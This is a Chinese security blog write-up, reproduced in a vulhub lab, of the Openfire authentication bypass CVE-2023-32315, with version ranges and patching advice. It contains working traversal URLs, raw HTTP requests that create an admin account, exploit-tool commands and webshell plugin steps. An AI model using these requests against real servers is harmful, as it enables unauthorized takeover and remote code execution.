『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

admin 2023年12月20日18:12:31评论30 views字数 2472阅读8分14秒阅读模式

日期:2023-12-20
作者:hdsec
介绍:本文介绍一下Openfire身份认证绕过漏洞(CVE-2023-32315)。

0x00 前言

在某次演练中遇到Openfire,于是整理了本文,如有不妥之处还望指正。

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

0x01 什么是Openfire

Openfire是一个开源的实时协作服务器,也被称为XMPP(Extensible Messaging and Presence Protocol)服务器。它是基于Java语言开发的,提供了一套完整的实时通信解决方案。Openfire支持即时消息传递、在线状态监测、群组聊天、文件传输等功能。它使用XMPP协议作为通信协议,这个协议被广泛应用于即时通讯、社交网络和物联网等领域。Openfire具有可扩展性强、易于部署和管理的特点,因此在企业内部通讯、社交平台、在线客服等场景中得到了广泛应用。

0x01 漏洞影响范围

3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5

0x02 漏洞环境搭建

vulhub漏洞环境:

https://github.com/vulhub/vulhub/tree/master/openfire/CVE-2023-32315

执行如下命令启动一个4.7.4版本的Openfire

docker-compose up -d

服务器启动后,访问http://your-ip:9090跳转到登录页面。

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

0x03 漏洞复现

3.1 漏洞验证

访问如下链接:

http://x.x.x.:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

成功访问到未授权日志文件,证明存在Openfire管理后台认证绕过漏洞。

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

3.2 未授权创建用户

获取JSESSIONIDcsrf

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1Host: x.x.x.x:9090Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Content-Length: 2

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

使用获取到JSESSIONIDcsrf创建用户admin123/admin123

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=SM0rG58cmPWkkiR&username=admin123&name=&email=&password=admin123&passwordConfirm=admin123&isadmin=on&create=Create+User HTTP/1.1Host: x.x.x.x:9090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: JSESSIONID=node0emorecgj3xmr1cq89bo05r05v176.node0;csrf=SM0rG58cmPWkkiR
『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

使用创建的用户名和密码可成功登录系统。

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

除了利用上面手工方法创建用户,我们还可以利用github上的漏洞利用工具:

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass

cd CVE-2023-32315-Openfire-Bypass/scan_allgo mod tidygo run main.go -u http://x.x.x.x:9090

可直接创建用户名密码。

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

3.3 后台上传插件实现RCE

登录后台,在Plugins功能处上传从github上下载的插件。

https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1`

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

上传成功后在server - server settings功能处发现发现shell Plugins,成功得到webshell

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

输入管理密码123,可进行命令执行。

『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

0x04 加固建议

通常,开源软件在使用中可能会发现安全漏洞,并且开发者会不断努力修复这些漏洞并发布更新版本。如果你正在使用Openfire,建议你遵循以下步骤来确保系统的安全性:

  1. 及时更新:定期检查Openfire的官方网站或邮件列表,获取最新的安全更新和补丁,并及时应用到你的系统中。
  2. 强化安全设置:配置Openfire的安全设置,例如限制访问、强密码策略等。
  3. 检查插件和扩展:审查安装的插件和扩展是否来自可信的来源,并确保它们是最新版本,以降低潜在的安全风险。
  4. 定期安全审计:进行系统安全审计,识别潜在的漏洞,并采取适当的措施来加强安全性。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

原文始发于微信公众号(宸极实验室):『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日18:12:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『漏洞复现』记 Openfire 身份认证绕过漏洞导致 RCEhttps://cn-sec.com/archives/2321143.html

发表评论

匿名网友 填写信息